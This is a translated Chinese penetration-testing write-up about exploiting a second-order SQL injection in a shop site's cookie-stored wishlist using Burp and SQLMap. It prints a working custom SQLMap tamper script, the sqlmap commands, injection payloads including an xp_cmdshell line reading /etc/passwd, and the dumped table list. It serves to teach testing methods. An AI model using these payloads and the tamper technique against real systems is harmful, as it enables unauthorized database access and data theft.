【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

http://p7.qhimg.com/t010a4ce1097abadb34.jpg

译者:eridanus96

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


Web应用已经从简单的脚本逐渐发展成完整的页面应用程序,然而越复杂的Web应用就越容易出现不同类型的安全漏洞,其中的一种就是二次注入漏洞。攻击payload首先被Web服务器上的应用存储,随后又在关键操作中被使用,这便被称为二次注入漏洞。

我们知道,在任何地方都可能会出现二次注入漏洞。不仅仅是在同一应用中,使用了相同数据源的不同Web应用也可能会出现这一漏洞。因此,我们几乎没办法通过自动扫描来检测到它们。

本文将以某商城网站为例,尝试借助Burp Suite和SQLMap Tamper利用二次注入。


手工渗透方法

渗透能否成功,往往取决于我们对目标的理解程度。因此,我通常会像普通用户一样花一两天的时间在我的目标上,以理解其整个工作流程。在做每件事情和提交表单时,我会尝试遵循表单域的命名约定。

为主模块(例如发票、新闻、费用信息等,通常是在导航栏看到的内容)设置一个关键字。

假如说我们正在浏览“门票”模块,并且表单需要提供一个名称和电子邮件地址。

用户名:johnticket1

邮件:johnticket1@yopmail.com

这样有助于跟踪数据的来源,如果我们在渗透过程中(一个APP的渗透通常需要5-6天时间),看到johnticket1在其他地方出现,那么我们就知道了攻击的目标是哪个向量。


第一阶段:检测

在浏览目标时,我在Burp Suite的日志中看到了这样的请求和响应:

GET /wishlist/add/9 HTTP/1.1
 Host: targetwebapp
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Referer: http://targetwebapp/
 Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D
 X-Forwarded-For: 127.0.0.1
 True-Client-Ip: 127.0.0.1
 Connection: close
 Upgrade-Insecure-Requests: 1
  
 ----
  
 HTTP/1.1 302 Found
 Date: Tue, 01 Aug 2017 07:31:12 GMT
 Server: Apache/2.4.18 (Ubuntu)
 Cache-Control: no-cache, private
 Location: http://targetwebapp/
 Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/
 Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly
 Content-Length: 324
 Connection: close
 Content-Type: text/html; charset=UTF-8
  
 <!DOCTYPE html>
 <html>
     <head>
         <meta charset="UTF-8" />
         <meta http-equiv="refresh" content="1;url=http://targetwebapp/" />
  
         <title>Redirecting to http://targetwebapp/</title>
     </head>
     <body>
         Redirecting to <a href="http://targetwebapp/">http://targetwebapp/</a>.
     </body>
 </html>

我正在向wishlist中添加一个产品。这一操作完成后,应用程序会重定向回主页。如果浏览另一个模块(/wishlist/),就可以看到这个产品的详细信息。

值得注意的是,我们在HTTP响应中看到了一个新的Set-Cookie参数。为了验证,我又尝试在wishlist中添加了几个不同的产品,结果每个请求都得到了新的Set-Cookie。

由此可知:在没有登录的前提下,应用程序能够跟踪我添加的产品;当我用不同的ID重复上述请求,我都会得到Set-Cookie。

现在,已经可以分析出,应用程序在我的cookie中存储了产品的ID值,并在将其发回我之前进行了加密。至此,我认为我的目标是一个Laravel的应用程序,原因在于其XSRF-TOKEN cookie名称和cookie加密都是Laravel框架默认的设定。

在这里,最重要的是要知道:我通过/wishlist/add/<id>提交的任何内容,都会存储在我加密后的cookie里。如果我浏览/wishlist/路径,应用程序接下来的步骤是:

获取cookie;

解密cookie;

获取来自cookie数据的wishlist数组;

在查询中使用此数组;

显示所需产品的详细信息。


第二阶段:自动化工具问题

事实上,无论是Burp还是Netsparker都无法检测到这一SQL注入。为了让大家更清晰地了解这一点,下面是自动化工具的通用工作流程:

登录应用,或者使用提供的cookie;

发送/wishlist/add/9" and 1=1 — 或 /wishlist/add/9'or 1=1– 或 /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1–等有效载荷;

计算请求与响应之间的时间间隔;

对HTTP响应的body进行分析;

等待外部请求。

 从上述流程可以看到,扫描器不会看到HTTP响应正文的任何不同。同时,响应和请求之间并不会有太大的时间间隔。应用程序只需将输入内容储存到其他地方(在这里是将cookie加密)。

 当扫描器扫描过每一个单独的URL后,会开始访问SQL查询执行的位置,即/wishlist/。但是,由于其具有多个SQL payload,工具已经打乱了SQL结构,因此将只能看到HTTP 500错误。


第三阶段:让SQLMAP再显神威

下面是SQLMap生成的前五个HTTP请求,特别是前两个一直保持不变。

~ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
  
  
 [11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'<script>("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
 [11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:48:57] [INFO] testing if the target URL is stable
 [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic
 [11:48:58] [PAYLOAD] 9(..,)),('"
 [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
 [11:48:58] [PAYLOAD] 9'AGZHkY<'">Bubyju
 [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:48:59] [INFO] testing for SQL injection on URI parameter '#1*'
 [11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
 [11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305
 [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355
 [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:49:00] [PAYLOAD] 9 AND 5896=8011
 [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:49:00] [PAYLOAD] 9 AND 3274=3274
 [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU
 [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB
 [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP
 [11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error)
 [11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC

我们仔细研究前两个payload,会发现SQLMap在尝试检测WAF,然后被应用程序强制进行编码。随后,通过不断发送payload,试图找出SQL查询的语法形式。但问题在于,所有这些payload将被存储在cookie上,这就意味着每当SQLMap进行二次注入,都会出现HTTP 500错误。还有,第一个请求已经弄乱了SQL语法,这导致SQLMap的其他攻击将会出现问题。

因此,我们需要为SQLMap生成的每一个HTTP请求提供一个新的会话。我通过自定义的tamper脚本解决了这一问题。

下列HTTP请求和响应是我们强制应用程序启动新会话的方法:

GET / HTTP/1.1
 Host: targetwebapp
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 X-Forwarded-For: 127.0.0.1
 True-Client-Ip: 127.0.0.1
 Connection: close
 Upgrade-Insecure-Requests: 1
  
 ---
  
 HTTP/1.1 200 OK
 Date: Tue, 01 Aug 2017 06:31:36 GMT
 Server: Apache/2.4.18 (Ubuntu)
 Cache-Control: no-cache, private
 Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/
 Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly
 Vary: Accept-Encoding
 Connection: close
 Content-Type: text/html; charset=UTF-8
 Content-Length: 22296

它可以执行如下步骤:

将请求发送到主页,而不提供任何cookie;

解析Set-Cookie并获取XSRF-TOKEN和SESSION;

更新由SQLMap生成的HTTP请求;

对于每一次SQLMap的检测,都会有一个新的SESSION,当SQLMap在发送payload后尝试/wishlist/时,从/wishlist/得到的响应将只与前一个payload相对应。

在此,我建议你使用https://github.com/h3xstream/http-script-generator 的工具,作者是Philippe Arteau,这一扩展脚本可以重新生成指定的请求。

http://p1.qhimg.com/t0138778ddc3a7afcc8.png

下面是我的SQLMap tamper模块,它向主页发送HTTP请求并检索新的cookie值,最后会更新SQLMap生成的HTTP请求的cookie值。

#!/usr/bin/env python
  
 """
 Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """
 import requests
  
 from lib.core.enums import PRIORITY
 from random import sample
 __priority__ = PRIORITY.NORMAL
  
 def dependencies():
     pass
  
 def new_cookie():
     session = requests.Session()
     headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}
     response = session.get("http://targetwebapp/", headers=headers)
     XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0]
     SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "")
     return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION)
  
 def tamper(payload, **kwargs):
     headers = kwargs.get("headers", {})
     headers["Cookie"] = new_cookie()
     return payload
sqlmap git:(master)  python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py
  
 ...
  
 Database: XXX
 [12 tables]
 +------------------------------------------------------+
 | categories                                           |
 | comments                                             |
 | coupon_user                                          |
 | coupons                                              |
 | migrations                                           |
 | order_product                                        |
 | orders                                               |
 | password_resets                                      |
 | products                                             |
 | subscribers                                          |
 | user_addresses                                       |
 | users                                                |
 +------------------------------------------------------+

经验

可以使用自动扫描器,但不要轻易相信它的结果。

如果可能,请让有能力的人对应用进行手动渗透。

如果你是渗透测试者,请牢记:是你进行了渗透测试,而不是工具,工具只是一个辅助。

有一个好思路非常关键。

(完)